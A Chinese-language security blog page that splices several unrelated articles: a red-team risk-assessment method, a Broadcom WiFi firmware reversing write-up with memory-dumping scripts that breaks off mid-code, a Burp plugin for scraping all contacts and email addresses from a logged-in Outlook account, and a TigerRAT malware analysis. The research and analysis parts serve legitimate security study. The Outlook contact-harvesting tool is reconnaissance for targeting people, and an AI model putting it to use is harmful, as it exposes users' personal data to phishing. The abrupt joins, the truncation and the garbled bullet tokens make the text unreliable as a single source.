Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863104445

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

安全評估的目的是減少組織的總體風險,每一個視角都有其自身的價值。所有這些方法應該組合在一起產生一種有效的安全評估策略,該策略應盡可能覆蓋組織的攻擊面,並識別盡可能多的威脅。這樣,組織就可以最大限度地降低風險。在試圖編寫一份全面的安全評估報告時,並不是所有的初始視角都適用於任何情況。因此,必須超越每種攻擊面和風險評估的價值,並深入研究每種攻擊面和風險評估的其他優點和缺點。這使得評估人員不僅知道哪些視角是最需要的,而且還知道哪些視角在任何給定的評估場景中是最可行的。

引入風險在演練之前的任何安全性評估中,必須完成建立演練範圍和ROE這一極其重要的步驟。在開始評估組織的安全性之前,有嚴格的流程來遵循演練將如何執行的細節。不同的初始視角在理解和同意演練的範圍和規則方面呈現出不同的複雜性。演練範圍和ROE用於幫助組織確定演練可能引入的可接受的風險水平。

這種風險表現在兩個方面。首先,安全評估可能會通過評估活動攻擊重要的設備或服務,從而給組織帶來風險。第二,評估者從給定的角度進行評估所需的訪問可能會增加總體攻擊面或其嚴重程度。

外部視角與風險引入最初由外部視角評估的攻擊面是由專門在互聯網上提供的設備和服務組成的。這意味著設備和服務會遭受攻擊以及面臨大量的流量。然而,嘗試執行網絡掃描和漏洞利用所帶來的額外壓力仍然會使設備崩潰。儘管風險很低,但必須考慮到這一風險來源,因為失去一個面向互聯網的服務可能會影響組織的外部和內部用戶。因為評估人員不需要建立內部訪問來從外部視角進行評估,所以執行此類評估不會增加額外的攻擊面。

DMZ視角和風險引入與外部視角類似,DMZ視角最初側重於用於基於互聯網流量的設備和服務。評估導致的潛在停機所造成的風險同樣很低。評估人員訪問DMZ中的設備時不應帶來額外風險,因為DMZ的目的是將某些設備從網絡的其餘部分分割開來。由於DMZ評估視角從DMZ中的橫向位置而不是從互聯網上測試設備,因此嘗試執行網絡掃描和漏洞利用產生意外後果的可能性稍大一些。設備可能沒有準備好處理這種橫向通信,這可能會導致問題出現。這一視角要求在非軍事區(DMZ)內建立一個存在點,從該點開始評估。儘管這使得評估人員能夠深入組織的一個層次,但風險仍然可以忽略不計。交給評估人員的訪問由於其在非軍事區的性質與內部網絡隔離,因此由於其初始評估向量的額外攻擊面,因此不會造成額外風險。

內部視角和風險引入從內部視角進行的評估能夠立即與不面向互聯網的設備和服務交互。這些設備不太可能應對大量掃描或攻擊嘗試,因此從這個視角評估設備存在一定的風險。與外部用戶相比,此處的拒絕服務更可能導致內部用戶缺乏可用性。此外,此評估導致的停機更有可能影響組織功能。內部視角也增加了攻擊面。隨著一個組織授予必要的訪問權限,或者惡意軟件的成功引入,評估人員從這個視角將其他訪問方式引入到一個組織中。

關鍵視角和風險引入與其他初始視角相比,關鍵視角代表了組織運作能力的高風險水平。開展此類評估的初始原因主要是那些被確定為對組織存在能力極其關鍵的風險項。評估對此類設備造成的任何問題都可能損害組織正常運作的能力。攻擊面增加所造成的風險也相對較高。與內部視角一樣,關鍵視角要求組織引入訪問向量來開始評估。此訪問向量添加到組織中的攻擊面更危險,因為它直接指向高危風險項。評估員使用的訪問向量造成的損害對組織來說是極其危險的。在進行此類評估時應格外小心。

前面我介紹了CAPTR 團隊利用的關鍵初始演練視角以及已經在使用中的已建立視角。對這些初始演練視角如何影響進攻性安全評估的過程和結果進行了深入分析。讀者現在應該對初始化視角以及與關鍵初始化視角相關的好處有了更深入的了解。

反向紅隊通過CAPTR 團隊所使用的特定範圍的方法論選擇目標,並使用關鍵視角確定最合適的演練起點,即可開始執行評估。反向紅隊演練鏈路是一種從關鍵視角進行評估的獨特方式,它創建了一種報告機制,使用反向風險關係為此類業務提供極高的成本效益。下文將解釋反向演練鏈路的過程,以及它可以產生的好處和結果的表示。

反向紅隊演練鏈路反向紅隊演練鏈路是利用從初始範圍項目中被動收集的本地情報來定義攻擊者可能使用的訪問向量並適當擴展CAPTR團隊範圍的過程。為了提高高風險漏洞利用和訪問路徑的效率,反向紅隊演練鏈路將重點放在圍繞給定機器的可識別通信通道上,而不是圍繞整個網絡。這種方法為了精確目標的選擇和評估而犧牲了評估的目標數量。

本地評估在假定APT最終可以在入侵過程中實現這樣的上下文的情況下,使用提升的權限對作用域關鍵對象進行局部評估。在CAPTR團隊演練窗口開始時,將評估那些允許攻擊者影響洩露對象的機密性、完整性或可用性的本地權限提升漏洞和本地錯誤配置漏洞。此外,該本地上下文用於識別潛在的遠程訪問向量,例如代碼執行漏洞或糟糕的身份驗證配置。通過訪問本地存儲的數據和操作系統功能,CAPTR團隊評估人員可以有效識別攻擊者可用於初始範圍項目的訪問向量,而無需對潛在風險執行盲目的網絡掃描和漏洞利用。

強調此方法優點的最佳方法是通過使用下圖所示網絡的簡單示例。 CAPTR團隊以結果為導向的範圍界定表明,Linux文件服務器對組織構成了致命的危害,將從訪問服務器的關鍵初始角度進行評估。

Untitled.png

CAPTR團隊評估方向性

在運行多個態勢感知命令後,評估人員使用本地可用的本機操作系統命令來確定組織中被視為致命危害對象的機器的大部分信息。

評估人員了解到Linux服務器使用的內核版本已過時,易受本地權限提升漏洞的攻擊。在組織中的這樣一台關鍵機器上從非特權用戶過渡到超級用戶的能力構成了極其危險的風險。如果其他評估模型沒有完全且成功地破壞網絡中的設備,導致並包括這台可能深入目標組織的機器,那麼這種風險也將不會在其他評估模型中被發現。 CAPTR團隊立即評估了該高風險項,在建立態勢感知的最初幾分鐘內,就發現了一個關鍵的可報告風險項,甚至沒有進行外部漏洞利用和擴展評估。

初始態勢感知命令通知評估人員,有三台機器與高風險機器通信。有一台計算機,可能是管理員,正在使用SSH遠程訪問和管理該計算機。此信息可在文件系統中找到。與SSH協議相關的日誌和文件位於計算機上的用戶目錄中,執行history 系統命令的結果中可以看到用戶的活動信息,很明顯是網絡管理員的典型活動。如果沒有CAPTR團隊中使用的本地特權視角,這些信息可能永遠不會被發現,如果已經被發現,這意味著典型的紅隊評估將遠程對多個設備執行漏洞利用,並將運行存在潛在危險的內核級權限提升exp,以便獲得與CAPTR 團隊在開始時所使用的方法看到的相同信息的權限。

評估人員通過在本機執行操作系統命令查看已建立連接的網絡信息表明還存在其他兩個通信對象。一個是訪問Linux服務器託管的80端口上的只讀web文件共享,另一個是訪問21端口上的文件傳輸服務器。進一步檢查後,評估人員確定文件傳輸服務器用於將文件放在Linux服務器上,供其他用戶查看和下載。通過進一步的本地情報收集,評估人員還發現,文件傳輸能力不限於特定位置,如web文件共享目錄,遠程文件傳輸可能會覆蓋通過機器調度機制以超級用戶權限執行的多個未受保護的腳本。

目前,尚未進行任何漏洞利用,我們在不到一天的評估時間內已經有以下極有價值的發現可以報告:

使用內核漏洞提升本地權限

作為超級用戶執行遠程代碼

-作為超級用戶執行的可寫調度作業的權限配置不當

-無約束的文件傳輸服務器

本地情報分析評估還確定了致命風險項的三個一級通信對象。確定這些目標後,CAPTR團隊繼續進行分析,以確定評估這些主機的順序。這種優先順序對報告也很有價值,稍後將在確定哪些環節最危險時進行報告。這些風險鏈由來源、目的地、通信方法和權限構成。設備之間可能有多個風險鏈。例如,如果管理員的計算機可以通過SSH(作為管理用戶)或文件傳輸(作為非特權用戶)訪問關鍵主機(下圖中的Server),這意味著攻擊者需要在該第一層通信上獲得較少的特權才能攻擊關鍵主機。在繼續完成這個示例的過程中,我提供了一些簡單的優先順序和評估決策點。在現實生活中,每種場景都會對任何攻擊性安全評估施加其獨特的屬性,評估人員的決定可能會以不同的方式推進演練。該場景需要先澄清評估流程,但與流程本身不同的是,所包含的風險決策應作為示例而不是指導,因為它們可能因組織而異。

回到我們的例子。通過對演練範圍內致命危害項高危主機的本地評估我們可以確定的風險鏈如下:

10.0.0.2上的超級用戶可以使用SSH協議作為超級用戶訪問10.0.0.1

10.0.0.3上的非特權用戶可以使用FTP作為非特權用戶訪問10.0.0.1

10.0.0.4上的非特權用戶可以使用HTTP作為非特權用戶訪問10.0.0.1(見下圖)

Untitled(1).png

通信鏈路

第一個風險鏈構成了攻擊關鍵主機Server的最大風險,因為它提供了超級用戶對關鍵主機Server的即時交互訪問。任何能夠破壞該第一層通信的攻擊者都會對Linux服務器造成嚴重威脅。 FTP風險鏈排第二,因為它提供了非特權訪問。但是,它還允許將文件移動到服務器,並且,根據我們對存在的已識別本地權限提升漏洞的了解,這是一條潛在的但更複雜的遠程交互路徑。 HTTP風險鍊是最後一個,因為它允許非特權用戶從特權主機下載數據,是只讀的,需要利用額外的漏洞才能攻擊關鍵主機Server。

全系列文章請查看:https://www.4hou.com/member/dwVJ

Broadcom是全球無線設備的主要供應商之一。由於這些芯片用途廣泛,因此構成了攻擊者的高價值目標,因此,在其中發現的任何漏洞都應視為帶來了很高的風險。在此博客文章中,我記錄了我在Quarkslab實習的情況,其中包括獲取,反轉和Fuzzing固件,以及發現一些新漏洞。

0x00 介紹Broadcom是全球無線設備的主要供應商之一,他們生產帶有43系列標籤的無線芯片,從智能手機到筆記本電腦,智能電視和物聯網設備,你幾乎可以在任何地方找到這些芯片。你可能會在不知道的情況下就使用了它,例如,如果你有戴爾筆記本電腦,則可能正在使用bcm43224或bcm4352卡;如果你擁有iPhone,Mac筆記本,Samsumg手機或Huawei手機等,也可能使用Broadcom WiFi芯片。

由於這些芯片用途廣泛,因此變成了攻擊者的高價值目標,因此,在其中發現的任何漏洞都應視為會帶來很高的風險。

我研究了很長一段時間的Broadcom芯片,將已知漏洞複製並移植到其他易受攻擊的設備,以學習和改進幾種常見的信息安全慣例,在此文章中,我記錄了我的研究過程,包括獲取,逆向和Fuzzing固件,以及分析發現的一些新漏洞。

0x01 關於WLAN和Linux在開始之前,讓我們看一下802.11無線標準。

1997年創建的第一個IEEE 802.11標準[1]標準化了PHY和MAC層,這是最低的兩個OSI層。

對於PHY層,選擇了兩個頻帶:紅外(IR)頻帶和微波頻帶(2.4GHz);之後,其他標準(例如802.11a [2])帶來了另一個頻率範圍(5GHz)。

MAC層使用三種類型的幀:管理,數據和控制;802.11標頭幀的幀控製字段標識任何給定幀上的類型。spacer.gif 1584961556518.png

管理幀由MLME(MAC子層管理實體)實體進行管理。根據處理MLME的內核的位置,我們可以得到兩種主要類型的無線芯片實現:SoftMAC(其中MLME在內核驅動程序中運行)和HardMAC(也稱為FullMAC),其中MLME在固件中嵌入在嵌入式固件中。芯片並不是像生活中看到的那麼簡單,存在一些混合實現,例如,探測響應和請求由驅動程序管理,而關聯請求和身份驗證則由芯片的固件處理。

FullMAC設備在功耗和速度方面提供了更好的性能,這就是為什麼它們在智能手機中得到大量使用,並且往往成為市場上使用最多的芯片的原因。它們的主要缺點是限制了用戶發送特定幀或將其設置為監視模式的能力,為此,將需要直接編輯芯片上運行的固件。

從Linux操作系統的角度來看,以上內容為我們提供了無線堆棧中組件的兩種主要佈局:當無線設備是SoftMAC設備時,內核將使用稱為'mac80211'的特定Linux內核模塊(LKM)。該驅動程序公開MLME API以便管理管理幀,否則內核將直接使用硬件驅動程序並將MLME處理卸載到芯片的固件中。

spacer.gif 1584961578973.png

0x02 Broadcom 的bcm43xxx芯片Broadcom bcm43xxx系列同時具有HardMAC和SoftMAC卡。不幸的是,我們找不到所分析所有芯片的所有數據表,賽普拉斯收購Broadcom的“ IoT業務”分支後,已經發布了一些可用的數據表;但是,有些芯片同時集成了WLAN和藍牙函數,例如bcm4339或bcm4330。

分析的所有芯片都將ARM Cortex-M3或ARM Cortex-R4用作非關鍵時間操作的主要MCU,因此我們需要處理兩個類似的指令集:armv7m和armv7r。這些MCU具有一個ROM和一個RAM,其大小取決於芯片組的版本。

所有時間緊迫的操作都由D11內核的Broadcom專有處理器實現,該處理器主要負責PHY層。

這些芯片使用的固件分為兩部分:一部分寫入ROM,不能修改,另一部分由驅動程序上傳到芯片的RAM。這樣,供應商僅通過更改固件的RAM部分就可以為其芯片添加新函數或編寫更新。

1584961611277.png

FullMAC芯片非常有趣,首先如在固件代碼中實現MLME層之前所述,但是它們還提供卸載函數,例如ARP緩存,mDNS,EAPOL等。這些芯片還具有一些硬件加密模塊,可以加密和解密密碼,流量,管理密鑰等。

所有卸載函數都增加了攻擊面,為我們提供了一個不錯的研究空間。

為了與主機(應用處理器)進行通信,b43系列使用了幾種總線接口:USB,SDIO和PCIe。

1584961638947.png

在驅動程序方面,我們可以將bcm43xxx驅動程序集分為兩類:開源和專有。

開源:

马云惹不起马云b43 (reversed from proprietary wl/old SoftMAC/Linux)

马云惹不起马云brcmsmac(SoftMAC/Linux)

马云惹不起马云brcmfmac(FullMAC/Linux)

马云惹不起马云bcmdhd(FullMAC/Android)

專有:

马云惹不起马云broadcom-sta aka'wl'(SoftMAC FullMAC/Linux) spacer.gif 1584961665277.png

“ wl”驅動程序在諸如路由器之類的嵌入式系統上最常用。它通常也用在筆記本電腦上,而筆記本電腦的驅動程序不支持brcmfmac/brcmsmac,例如Dell XPS上的bcm4352芯片。另外,wl驅動程序使用其自己的MLME,不需要LKM'mac80211'處理管理幀,從而為攻擊者擴大了攻擊面。

Broadcom發行的版本通常稱為“混合”驅動程序,因為代碼的主要部分來自兩個已編譯的ELF(在編譯時使用的對象)。為什麼兩個?因為一個用於x86_64體系結構,另一個用於i386。這些對象保存了驅動程序的主要代碼,因此公開了許多Broadcom API的函數。

芯片的固件和wl驅動程序共享許多代碼,因此在一個中發現的漏洞也可能在另一個中存在。

0x03 獲取固件1)第一部分:RAM固件

如前所述,固件分為兩部分。最容易抓住的部分是RAM部分,該部分由驅動程序加載到RAM中,這部分包含主MCU使用的代碼和數據,以及D11內核使用的微代碼。

固件的此部分未簽名,並且使用CRC32校驗和“驗證”完整性。這導致了一些固件修改,以便添加諸如監控器模式之類的函數;例如,SEEMO Lab發布了NEXMON項目[3],這是一個了不起的框架,用於通過用C編寫補丁來修改這些固件。

在我們的研究中,我們遇到了兩種可能的RAM固件映像格式:第一個也是最常遇到的是沒有特定結構的簡單二進制blob;第二種是TRX格式,在bcm43236芯片上工作時很容易解析。

使用.bin RAM固件時,通常在文件末尾有一個字符串,用於顯示:

马云惹不起马云芯片版本

马云惹不起马云芯片用於主機進行加密狗通信的總線

马云惹不起马云固件提供的函數;p2p,TDLS等

马云惹不起马云固件版本

马云惹不起马云CRC校驗和

马云惹不起马云創建日期。

當使用的驅動程序是brmfmac或bcmdhd時,我們可以直接從主機文件系統獲取RAM固件。在Linux上,我們可以在/lib/firmware/brcm中找到它,在Android上可以在/system/vendor/firmware中找到它。

在其他情況下,它會根據我們使用的系統而有所不同:

1584961691355.png

如果使用的驅動程序是專有wl,我們可以在LKM的.data部分中找到固件的RAM部分,可以使用LIEF輕鬆提取[8]。

wl=lief.parse('wl.ko')

data=wl.get_section('.data')

forsymbolinwl.symbols:

.if'dlarray_'insymbol.name:

.print(symbol.name)

.

dlarray_4352pci

dlarray_4350pci

b4352=wl.get_symbol('dlarray_4352pci')

bcm4352_fw=data.content[b4352.value:b4352.value+b4352.size]

withopen('/tmp/bcm4352_ramfw.bin','wb')asf:

.f.write(bytes(bcm4352_fw))

.

442233

$strings/tmp/bcm4352_ramfw.bin|tail-n1

4352pci-bmac/debug-ag-nodis-aoe-ndoeVersion:6.30.223.0CRC:ff98ca92Date:Sun2013-12-1519:30:36PSTFWID01-9413fb21發布的bcm4352固件最新採用WL上的Linux驅動程序的日期2013年

2)第二部分:ROM簡介

固件的ROM部分是了解這些芯片內部的最重要的部分。

為了拿到ROM部分,我們需要知道它的映射位置。查找基址的最佳方法是讀取驅動程序的頭文件,例如在bcmdhd的頭文件/include/hndsoc.h 中;另一種替代方法是讀取Nexmon項目README,該項目根據我們的MCU型號為我們提供了其他基址,精明的讀者可能會發現這些地址不同。 Nexmon項目指定具有Cortex-M3的芯片的ROM加載為0x800000,bcmdhd的標頭顯示為0x1e000000,兩者都是正確的,似乎ROM和RAM映射了兩次。此外,知道基址可以為我們提供有關所使用的MCU的線索,例如,如果將ROM轉儲到0x000f0000,則表明該芯片正在使用ARM Cortex-R4。

1584961734791.png

3)在Android系統上獲取ROM

在Android上,我們可以使用dhdutil工具,該工具是舊wlctl實用程序的Android開源改進分支,通過使用此工具的“內存字節”函數,我們可以轉儲芯片組的RAM,在某些情況下還可以轉儲ROM。

adbshell/data/local/tmp/dhdutil-iwlan0membytes-r0x00xa0000rom.bin例如,在依賴Cortex-R4的Nexus 5中使用的bcm4339芯片上,ROM被直接轉儲。不幸的是,在較舊的bcm4330(Cortex-M3)上,此函數無效;但是,只要你可以與RAM交互,就可以Hook一個函數,該存根將把ROM逐片複製到RAM中的空區域,之後,我們可以轉儲所有ROM的分片。

spacer.gif 1584961798349.png

4)恢復Linux系統上的ROM

在具有brcmfmac驅動程序的Linux上,我們無法直接訪問ROM。因此,我們需要找到一種直接在ROM或RAM中與芯片內存交互的方法。幸運的是,當芯片使用SDIO總線與主機進行通信時,開源brcmfmac驅動程序將公開brcmf_sdiod_ramrw函數,此函數使我們可以從主機讀取和寫入芯片組的RAM。

如果我們修改驅動程序以便在此函數周圍添加一個ioctl包裝器,則可以從一個很小的userspace實用程序讀取和寫入芯片組的RAM。

在調用brcmf_sdiod_ramrw之前,我們必須調用sdio_claim_host以便回收SDIO總線的利用率;請注意,如果該設備未連接到任何接入點,則該設備可能處於低功耗模式,並且總線可能處於空閒狀態,因此我們需要通過調用bcmf_sdio_bus_sleep和brcmf_sdio_clkctl來確保設備的總線正常運行。

intbrcmf_ioctl_entry(structnet_device*ndev,structifreq*ifr,intcmd)

{

.

sdiobk-alp_only=true;

sdio_claim_host(sdiobk-sdiodev-func[1]);

brcmf_sdio_bus_sleep(sdiobk,false,false);

brcmf_sdio_clkctl(sdiobk,CLK_AVAIL,false);

res=brcmf_sdiod_ramrw(sdiobk-sdiodev,margs-op,margs-addr,buff,margs-len);

if(res)

{

printk(KERN_DEFAULT'[!]Dumpmemfailedforaddr%08x.\n',margs-addr);

sdio_release_host(sdiobk-sdiodev-func[1]);

kfree(buff);

return(-1);

}

if(copy_to_user(margs-buffer,buff,margs-len)!=0)

printk(KERN_DEFAULT'[!]Can'tcopybuffertouserland.\n');

.

}我們需要編寫一個小程序來與用戶領域的ioctl進行交互,有了它,我們能夠讀寫設備RAM:

.

memset(margs,0,sizeof(t_broadmem));

margs.addr=strtol(ar[1],NULL,16);

margs.op=1;

if(errno==ERANGE)

prt_badarg(ar[1]);

len=strtol(ar[2],NULL,10);

if(errno==ERANGE)

prt_badarg(ar[2]);

margs.buffer=hex2byte((unsignedchar*)ar[3],len);

if((s=socket(AF_INET,SOCK_DGRAM,0))0)

return(-1);

strncpy(ifr.ifr_name,ar[0],IFNAMSIZ);

margs.len=len;

ifr.ifr_data=(char*)margs;

if(!(ret=ioctl(s,SIOCDEVPRIVATE,ifr)))

printf('[+]Writesuccesfull!\n');

else

printf('[!]Failedtowrite.\n');

close(s);

free(buf);

return(ret);

.現在我們可以讀寫芯片的RAM,我們可以通過以下方式轉儲ROM:

马云惹不起马云Hook位於RAM中並由動作X調用的函數

马云惹不起马云將ROM逐片複製到RAM中的空白區域

马云惹不起马云轉儲所有新復制的ROM片並將其串聯。

此協議與我們在芯片的MCU是Android上的Cortex-M3時使用的協議相同;但是,這次我們不得不修改驅動程序並構建自己的工具以使用新驅動程序的ioctl。

在RPI3芯片(bcm43430)上工作時,我們選擇了這種方法。

5)在特定情況下獲取ROM部分

還有許多其他可能的方案:

如果你的芯片將brcmfmac驅動程序與PCIe總線一起使用怎麼辦?如果你的芯片使用專有驅動程序“ wl”在嵌入式系統中怎麼辦?如果主機操作系統上沒有shell,該怎麼辦?或者,如果你沒有權限?等等.

在所有其他情況下,你都有幾種可能:如果可以訪問硬件,則可以尋找UART訪問,或者可以掛接wl驅動程序,在“ SFR微型解碼器”(bcm43236)上工作時,我們選擇了UART訪問。

RTE(usbrdl)v5.90(TOB)runningonBCM43235r3@20/96/96MHz.

rdl0:BroadcomUSBRemoteDownloadAdapter

ei1,ebi2,ebo1

RTE(USB-CDC)6.37.14.105(r)onBCM43235r3@20.0/96.0/96.0MHz

000000.007ei1,ebi2,ebo1

000000.054wl0:BroadcomBCM43235802.11WirelessController6.37.14.105(r)

000000.060nodisconnect

000000.064reclaimsection1:Returned91828bytestotheheap

000001.048bcm_rpc_buf_recv_mgn_low:HostVersion:0x6250e69

000001.054ConnectedSession:69!

000001.057revinfo

000063.051rpcuptime1minutes

?

000072.558reboot

000072.559rmwk

000072.561dpcdump

000072.563wlhist

000072.564rpcdump

000072.566md

000072.567mw

000072.569mu

000072.570?

波特率為115200 b/s,命令md允許將內存轉儲到特定地址,你應該指定地址以及要轉儲的DWORD數,有了一個很小的PySerial腳本,我們就能夠轉儲ROM並獲得實時RAM。

#!/usr/bin/envpython3

importserial

importbinascii

nb=65535

baseaddr=0

uart=serial.Serial('/dev/ttyUSB0',115200)

uart.write(b'md0x%08x4%d\n'%(baseaddr,nb))

i=0

dump=b''

whilei!=nb:

read=uart.readline().split(b'')

ifb''inread[0]:

continue

ifb'rpc'inread[2]:

continue

print('Dump%s%s\r'%(read[1][:-1],read[2]),end='')

dump+=binascii.unhexlify(read[

0x01 前言

这是一款burp插件,用于Outlook用户信息收集,在已登录Outlook账号后,可以使用该

插件自动爬取所有联系人的信息

0x02 安装

在burp扩展面板加载jar即可

0x03  功能介绍

1.All Users

加载插件后,进入Outlook联系人面板,点击All Users

0rd5leydagj14758.jpg

在burp中 Proxy -> HTTP history 筛选api接口

/owa/service.svc?action=FindPeople&app=People

ewimompnxx314759.jpg

选中该请求,右键菜单 Extensions -> OutLook information collection -> Do OoutLook Email scan

5wpvhazkckk14760.png

会在 Extender -> Extensions -> OutLook information collection -> Output 中显示扫描进度

hbvmu2uwjqk14761.png

插件会自动爬取所有数据包并生成目录树,可以查看每一个请求响应包

by42nouwjoc14762.jpg

右击该请求会弹出右键菜单,选择获取所有用户邮箱,即可获得所有的邮箱

r32xux1s44s14763.jpgd2tgjgva04414764.jpg

2.注意

该Api会有大量相同url,不同的Post提交参数,如果选错了Api接口,会有弹窗提示

p0fmtfdwu3v14765.jpgx11klyz1npq14766.jpg

3.联系人信息

必须在加载 All Users的所有数据包才能正常使用,联系人信息基于All Users数据包信息,如果未进行第一步操作会有弹窗提醒

2m4dsc4jh5a14767.jpg

在burp中 Proxy -> HTTP history 筛选api接口

/owa/service.svc?action=GetPersona&app=People

mbmpgajfluz14768.jpg

选中该请求,右键菜单 Extensions -> OutLook information collection -> Do OoutLook Email scan

nzeeicgiht214769.png

会在 Extender -> Extensions -> OutLook information collection -> Output 中显示扫描进度

miigd3w4w4414770.jpg

插件会自动爬取所有数据包并生成目录树,可以查看每一个请求响应包

wpflmpg5cza14771.jpg

右击该请求会弹出右键菜单,选择获取 All User个人信息,可获取所有联系人信息

1uilioxkade14772.jpgc1c5fzoj0ap14773.jpg

工具获取:公众号回复关键字“OutLook”

Malwarebytes(2021年4月),卡巴斯基(2021年6月)和韓國CERT(2021年9月)都先後報導了韓國遭受新型惡意軟件攻擊的新聞,該惡意軟件以前從未出現過且使用了全新的技術。

Malwarebytes的初步報告將這個攻擊歸咎於Lazarus組織,而卡巴斯基將其歸咎為Andariel APT,這是Lazarus的一個分支,根據韓國CERT (KrCERT)的報告,研究人員將此次攻擊中的惡意軟件工具稱為TigerDownloader和TigerRAT。 KrCERT報告對他們捕獲的惡意軟件樣本與之前卡巴斯基和Malwarebytes分析的惡意軟件樣本之間的關係進行了全面、詳細的對比分析。他們還使用了專們的歸因技術來進一步關聯攻擊。

在本報告中,我們將重點關注以前報告的攻擊中的惡意軟件工具。我們提供了新的證據,將這些工具歸為相同的下載程序和RAT家族。我們將這些家族分別稱為TigerDownloader和TigerRAT。選擇這些名字是為了紀念KrCERT的重要工作。

我們系統地研究了代碼重用以及在先前報告的攻擊的不同階段(即打包程序、下載程序和RAT 有效負載)中使用的所有樣本之間的函數共性。我們還發現,雖然這些工具屬於上述家族,但在報告的攻擊中,已經部署了不同的工具變體。對於RAT有效載荷,我們發現了三個具有不同函數的版本。對於下載程序,我們找到了兩個版本,一個有持久性函數,另一個沒有持久性函數。

除了這些發現,我們還對現有的分析體系提出了新的推測。

2021年4月19日,Malwarebytes在報告中提到了一個惡意的Word文檔,且發現了一個新的下載組件。

2021年6月15日,卡巴斯基發布了一篇關於相同攻擊的文章,並將其歸為Andariel APT組織,除了Malwarebyte的發現外,他們還發現了新的下載程序和RAT有效載荷。此外,他們還發現了RAT部署的一種新型勒索軟件。

2021年9月,KrCERT報告了一項他們稱之為“ByteTiger”的攻擊活動,這是一項針對韓國的攻擊,他們將其歸因於Andariel APT組織。他們將新的攻擊與之前Malwarebytes和卡巴斯基使用一些專有工具披露的樣本聯繫起來,對比了相似性/重用、rich header、section hash和C2基礎設施。

上述三個報告案例中的攻擊鏈在結構上都有一些相似之處,都觀察到一個下載惡意軟件。卡巴斯基和KrCERT還發現了第三階段RAT組件。在訪問方式上,Malwarebytes 和Kaspersky 報告的案例中攻擊者使用了惡意文件,而KrCERT 案例中使用了受感染的網站。

1.png

Malwarebytes、Kaspersky和KrCERT報告的攻擊鏈的異同

打包程序分析在本節中,我們將首先確定打包程序的二進製文件共享源自解包算法的公共代碼,然後我們展示了在我們可以使用的所有打包樣本的基礎上的一個通用的打包方案。因此,我們的發現提供了強有力的證據,表明二進製文件是由同一打包程序負責的。

打包示例中的共享代碼為了快速了解打包樣本是否相關,我們在函數級別執行了自動代碼重用分析。在下表中,“函數重用”列中的數字代表了一個函數發生的樣本數量。例如,地址為0x140002b70(第一行)的函數出現在27個打包示例中。也就是說,這是一個出現在所有打包樣本中的函數。

2.png

我們分析的27 個打包二進製文件中的函數重用

還有其他幾個函數(即0x140001bf0、0x140002030、0x140002860)出現在27 或26 個樣本中。從表中,我們可以確定打包的樣品是明顯相關的。它們都有兩個共同的函數,並且具有大量代碼重用的樣本子集。

簡而言之,自動化的函數重用分析讓我們可以快速了解打包樣本的關係。正如我們接下來將看到的,它還指導我們的手動分析工作。

根據分析,我們懷疑這些樣本共享了一些有效解包的函數,而剩餘的一些函數是為了避免被反病毒軟件、Yara以及相關的基於模式的檢測技術檢測到。然後,我們進一步研究了這些穩定函數,可以確認它們確實包含打包函數。此分析的結果如下所示。

3.png

在最穩定的函數中找到的函數

我們還可以確認垃圾代碼的存在,其作用是避免檢測技術。下圖顯示了兩個不同示例中的相同函數Decrypt_payload()。我們可以看到像GetFontUnicodeRanges()、GetSysColorBrush() 和CreateBitMap() 這樣的垃圾函數被調用,但它們的返回值沒有被使用。在下圖中,有效的解包代碼(在本例中為XOR 解密算法)包含在所示的綠色框中。

我們在所有打包代碼和許多函數中都發現了這種垃圾代碼策略。

4.png

打包程序代碼中的垃圾代碼,以躲避防病毒軟件和Yara 檢測

綜上所述,到目前為止,我們已經看到打包樣本通過一個公共打包程序代碼相關聯。打包樣本之間的代碼差異主要是由於垃圾代碼的存在。

常見的打包方案打包程序是一個簡單的加載程序,它解密並將有效載荷映射到內存中。解密方案是一個簡單的XOR加密,使用16字節的密鑰。此外,我們發現所有的打包程序變體都遵循相同的打包方案,而該方案的變體由兩個參數決定。一個參數是打包的有效載荷是否採用Base64編碼,另一個參數是在PE文件中存儲打包的有效載荷的位置。

下圖說明了有效載荷編碼的過程。

5.png

PE文件中打包代碼位置的變化,從左到右,PE 覆蓋、PE 資源部分或在此示例中名為OTC 的專用PE 部分中的打包代碼

對於使用專用部分的第三個變體,我們觀察到以下部分名稱:“KDATA,” “OTC,” “OTS,” “OTT,” 和“data.”。我們目前還無法確定這些名字背後的意義。

下圖顯示了我們分析的所有打包下載程序和RAT變體的常見打包方案。

6.png

所有樣品通用的打包方案

惡意軟件家族和變體在本節中,我們將通過代碼重用分析確定所有解壓縮的二進製文件都屬於一個下載程序或RAT家族。我們稱這些家族為TigerDownloader和TigerRAT惡意軟件家族。 KrCERT報告中介紹了這些名稱,用來指代他們調查中的下載程序和RAT組件。

為了快速了解解壓後的二進製文件,我們進行了組合集群和代碼重用分析。這種分析使我們能夠自動識別惡意軟件家族和家族內的惡意軟件變體。此分析的目標是快速了解二進製文件之間的關係,並將分析人員引導至相關樣本進行進一步的手動分析,以最終了解攻擊者的工具和能力。

集群和代碼重用分析的結果如下圖所示,該圖確認解壓後的二進製文件屬於TigerDownloader(藍色)或TigerRAT(橙色)家族。此外,我們看到每個家族都有三個變體(用大圓表示)。我們使用了97.5%的集群閾值,這意味著至少有97.5%相似的二進製文件屬於同一個集群。圖中的集群由所謂的“集群代表”(大圓)和直接連接到集群代表的樣本(小圓)組成。其基本思想是,集群中的樣本本質上是相同的,因此集群代表可以很好地代表。

7.png

使用縮略哈希表對未打包的樣本進行聚類和代碼重用分析

我們注意到聚類閾值的選擇對變體有明顯的影響:高閾值會顯示次要和更多變體,而低閾值會顯示較少和主要的變體。

從圖中我們可以得出以下結論:

在TigerDownloader和TigerRAT家族之間沒有代碼重用。回顧打包程序分析,儘管這兩個家族在代碼方面是不同的,但它們使用了相同的打包方案進行打包。

下載程序有三種變體:一種x86和兩種x64變體。這兩個x64變體非常接近(即97%的代碼重用),因此很可能是具有微小差異的變體。

在RAT家族中,我們遇到了三種類似的情況:一種x86和兩種x64。然而,這兩個x64變體隻共享55%的代碼,因此似乎是主要的RAT變體。

x64和x86二進製文件之間的關係較低,這是由於編譯器和CPU架構的差異,但仍然可以找到相關的代碼重用。

下圖中的表顯示了之前圖表中集群的詳細組成。我們還注意到,一些(哈希方式)獨特的打包樣本會導致(哈希方式)相同的未打包樣本,從而降低了所考慮樣本的有效多樣性。

8.png

詳細的集群信息

